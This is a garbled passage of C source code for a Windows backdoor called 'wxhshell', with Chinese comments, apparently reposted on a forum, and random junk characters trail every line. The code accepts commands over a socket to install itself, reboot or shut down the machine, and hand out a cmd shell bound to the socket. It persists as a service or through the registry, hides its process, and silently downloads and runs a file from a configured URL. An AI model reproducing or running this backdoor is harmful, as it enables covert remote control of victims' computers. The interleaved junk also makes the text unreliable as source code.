  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0#J~@1Gf  
  } !+PrgIp>  
  else { hc|A:v)]  
NlEyT9  
    switch(cmd[0]) { ~{Iw[,MJ  
  CXrOb+  
  // 帮助 c6xr[tc%  
  case '?': { cpa" ,8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '\#q7YjaL  
    break; IEy$2f>Ns  
  } gLv+L]BnhH  
  // 安装 aA|{r/.10K  
  case 'i': { %[p*6&V  
    if(Install()) `}),wBq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); })-V,\  
    else 1YV1 Xnn,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6m;>R%S_  
    break; *m"9F'(Sd  
    } 9xK>fM&u  
  // 卸载 @n)? =[p  
  case 'r': { Z5q%L!4G  
    if(Uninstall()) ~JL qh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _VT{2`|})  
    else 5qnei\~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }gv'r ";  
    break; 9!n:hhJM  
    } FSQB{9,H  
  // 显示 wxhshell 所在路径 \|Af26  
  case 'p': { .z,-ThTH@\  
    char svExeFile[MAX_PATH]; ElW\;C:K*  
    strcpy(svExeFile,"\n\r"); MeBTc&S<  
      strcat(svExeFile,ExeFile); DS(>R!bb  
        send(wsh,svExeFile,strlen(svExeFile),0);  ImhkU%  
    break; |M7C=z='  
    } daKZ*B|  
  // 重启 gtuSJ+up  
  case 'b': { n{4iW_/D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QlGK+I>y;  
    if(Boot(REBOOT)) H2jypVs$2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A5Jadz~  
    else { Y5GN7.  
    closesocket(wsh); @o0HDS  
    ExitThread(0); XE2Un1i}j1  
    } t08U9`w  
    break; MM32\}Y6  
    } M$EF 8   
  // 关机 1/9*c *w  
  case 'd': { N9/k`ZGC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F7=9> ,  
    if(Boot(SHUTDOWN)) vX }iA|`#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ `yhN  
    else { @sn:%/x_  
    closesocket(wsh); "Y+VNS  
    ExitThread(0); `?$-T5Rr  
    } 6n2RTH  
    break; 0e8  
    } pA.orx  
  // 获取shell T/|!^qLF  
  case 's': { \2/X$x<?X  
    CmdShell(wsh);  GhfhR^P  
    closesocket(wsh); wetu.aMp  
    ExitThread(0); gaXo)oS  
    break; i`@cVYsL  
  } la{?&75]  
  // 退出 = cxO@Fu  
  case 'x': { U[pHT _U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2*D2jw  
    CloseIt(wsh); F4\:9ws  
    break; R WY>`.su  
    } Bdh*[S\u@E  
  // 离开 -4QZ/*  
  case 'q': { LkJq Bg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 85# 3|5n  
    closesocket(wsh); \/1~5mQ+  
    WSACleanup(); 2tK~]0x  
    exit(1); l^R:W#*+U  
    break; $CB&>?~  
        } bsu?Q'q  
  } eFs5 l  
  } |5;,]lbt  
s>G6/TTH6  
  // 提示信息 65zwi-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^iEf"r  
} |h $Gs2  
  } *=@8t^fa86  
l atm_\  
  return;  $Z &6  
} %t_'rv  
`P\H{  
// shell模块句柄 LF.i0^#J  
int CmdShell(SOCKET sock) 4mY^pQ1=L  
{ 0i[t[_sce  
STARTUPINFO si; TQeIAy  
ZeroMemory(&si,sizeof(si)); ;VCV%=W<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MMa`}wSs  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E*)A!2rlK  
PROCESS_INFORMATION ProcessInfo; _\4r~=`HQ  
char cmdline[]="cmd"; *}:P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PYQ  
  return 0; VT>-*  
} ,Z|O y|+'  
7Z]?a  
// 自身启动模式 =z5=?  
int StartFromService(void) 0D4 4  
{ ("A45\5  
typedef struct {!( htg;  
{ ;woK96"{t  
  DWORD ExitStatus; 1Mq"f 7X8  
  DWORD PebBaseAddress; u@D5SkT  
  DWORD AffinityMask; ~C 3 Y/}  
  DWORD BasePriority; fPN/Mxu  
  ULONG UniqueProcessId; r|Uz?  
  ULONG InheritedFromUniqueProcessId; G{.=27  
}   PROCESS_BASIC_INFORMATION; 7oLlRU  
<2j$P Y9  
PROCNTQSIP NtQueryInformationProcess; 5Qg*j/z?  
n S$4[!0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TS=%iMa  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >*/ |t L  
f(}&8~&  
  HANDLE             hProcess; \W_ Dz*N  
  PROCESS_BASIC_INFORMATION pbi; ++w{)Io Z  
 `&a8Wv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); aU +uPP  
  if(NULL == hInst ) return 0; \zVp8MMf  
eiOAbO#U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z1RHdu0;z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )e[q% %ks  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Wsd_RT}ww  
,f>^ q"  
  if (!NtQueryInformationProcess) return 0;  b%F'Ou~  
fm^tU0DY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LVP6vs  
  if(!hProcess) return 0; *>iJ=H  
]mJ9CP8P1c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5FJ%"5n&  
! pa7]cZ  
  CloseHandle(hProcess); .}R'(gN\6  
E]{0lG`l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ViOXmK"  
if(hProcess==NULL) return 0; 4u p7 :?  
V'.gE6we  
HMODULE hMod; $m.'d*e5  
char procName[255]; JKYtBXOl  
unsigned long cbNeeded; fm%4ab30T  
][z!};  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YS9)%F=X  
-K^(L #G  
  CloseHandle(hProcess); UHl1>(U  
UWCm:eRQ  
if(strstr(procName,"services")) return 1; // 以服务启动 *}r6V"pH~  
y#ON=8l  
  return 0; // 注册表启动 _n*gj-  
} '+|uv7|+v  
<+ <o X"I  
// 主模块 @ bvWqMa  
int StartWxhshell(LPSTR lpCmdLine) |c]L]PU  
{ R8% u9o  
  SOCKET wsl; }/xdHt  
BOOL val=TRUE; k3 '5Ei  
  int port=0; \>/AF<2"  
  struct sockaddr_in door; _}`y3"CD7  
~8Ef`zL  
  if(wscfg.ws_autoins) Install(); @$ )C pg  
i[U=-4 J  
port=atoi(lpCmdLine); cJ,`71xop,  
"g!/^A!!  
if(port<=0) port=wscfg.ws_port; sGMnm  
gcM(K.n  
  WSADATA data; kvN6K6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S@L%X<Vm  
IgF#f%|Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >vfLlYx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )/v`k>E  
  door.sin_family = AF_INET; b!;WF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A.P*@}9  
  door.sin_port = htons(port); YBk* CW9  
uvD*]zX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Mb%[Qp60  
closesocket(wsl); w^$$'5=  
return 1; ~bjT,i  
} y3 S T"U  
|R Qa.^.  
  if(listen(wsl,2) == INVALID_SOCKET) { .w~L0(  
closesocket(wsl); 1rmN)  
return 1; 6:TA8w|  
} p_sqw~)^%  
  Wxhshell(wsl); .O4=[wE!U  
  WSACleanup(); `? f sU  
TsRbIq[  
return 0; w4&-9[@Y  
,S3uY6,  
} wlX K2D  
apm,$Vvjy  
// 以NT服务方式启动 6;\Tps;A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hcD.-(-;)  
{ |i'w"Tz4  
DWORD   status = 0; Ef6LBNWY.  
  DWORD   specificError = 0xfffffff; hniTMO  
qQ<7+z<4KP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kh*td(pfP9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FwSV \N+#'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8x6{[Tx   
  serviceStatus.dwWin32ExitCode     = 0; 1b"3]?  
  serviceStatus.dwServiceSpecificExitCode = 0; }l@7t&T|  
  serviceStatus.dwCheckPoint       = 0; Q"{Q]IT  
  serviceStatus.dwWaitHint       = 0; V_Y2@4  
MW.,}f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !L' O")!3  
  if (hServiceStatusHandle==0) return; U| 1&=8l  
^$\#aTyFK  
status = GetLastError(); {[FJkP2l  
  if (status!=NO_ERROR) 8F`799[p  
{ }KL( -Ui$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jowR!rqf  
    serviceStatus.dwCheckPoint       = 0; & MfnH  
    serviceStatus.dwWaitHint       = 0; P0szY"}  
    serviceStatus.dwWin32ExitCode     = status; "CWqPcr  
    serviceStatus.dwServiceSpecificExitCode = specificError; T`^LWc"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IQ}YF]I;  
    return; ,Z]4`9c  
  } g(zoN0~  
WO6;K]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h`p9H2}0  
  serviceStatus.dwCheckPoint       = 0; c"@,|wCUi  
  serviceStatus.dwWaitHint       = 0; !p"Ijz5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {nmBIk2v  
} x\XOtjJr  
0Z~G:$O/i  
// 处理NT服务事件,比如:启动、停止 y <21~g=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) EY 9N{  
{ ,1-#Z"~c  
switch(fdwControl) SSI('6Z/  
{ #kDJ>r |&-  
case SERVICE_CONTROL_STOP: ~Aq$GH4  
  serviceStatus.dwWin32ExitCode = 0; %L;'C v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +LAjh)m  
  serviceStatus.dwCheckPoint   = 0; l ilF _ y  
  serviceStatus.dwWaitHint     = 0; XB-l[4?  
  { _:,U$W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H;eOrX {GT  
  } f0lK ,U@P  
  return; ns[Q %_  
case SERVICE_CONTROL_PAUSE: W_N!f=HW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4wQ>HrS)(  
  break; Gj([S17\0:  
case SERVICE_CONTROL_CONTINUE: CpF&Vy K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S~LT Lv:>  
  break; o5eFLJ6  
case SERVICE_CONTROL_INTERROGATE: Nl`8Kcv  
  break; E; Z1HF R  
}; ['n;e:*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $3MYr5  
} r6eApKZ>f6  
,t_Fo-i7vI  
// 标准应用程序主函数 0FD+iID  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WKPuIE:  
{ c 7uryL  
/_*L8b  
// 获取操作系统版本 {]\!vG6  
OsIsNt=GetOsVer(); 14v,z;HXj  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  =:-x;  
(*2kM|  
  // 从命令行安装 0<T/P+|  
  if(strpbrk(lpCmdLine,"iI")) Install(); #r_&Q`!eU  
#<|q4a{8  
  // 下载执行文件 D#,P-0+%  
if(wscfg.ws_downexe) { l6EDl0~r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +p:@,_  
  WinExec(wscfg.ws_filenam,SW_HIDE); p94 w0_m@|  
} p#95Q  
PH}^RR{H[  
if(!OsIsNt) { _ mw(~r8R  
// 如果时win9x,隐藏进程并且设置为注册表启动 %,M(-G5j;  
HideProc(); WSW,}tFp"  
StartWxhshell(lpCmdLine); m^)h/s0A  
} lE?F Wt  
else FWbA+{8  
  if(StartFromService()) _=eeZ4f  
  // 以服务方式启动 G}b LWA  
  StartServiceCtrlDispatcher(DispatchTable); J<{@D9r9<~  
else M _z-~G  
  // 普通方式启动 `o~9a N  
  StartWxhshell(lpCmdLine); m mj6YQ0a  
ES#K'Lf  
return 0; }TCOm_Y/qL  
}
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只看该作者 1 发表于: 2006-10-10
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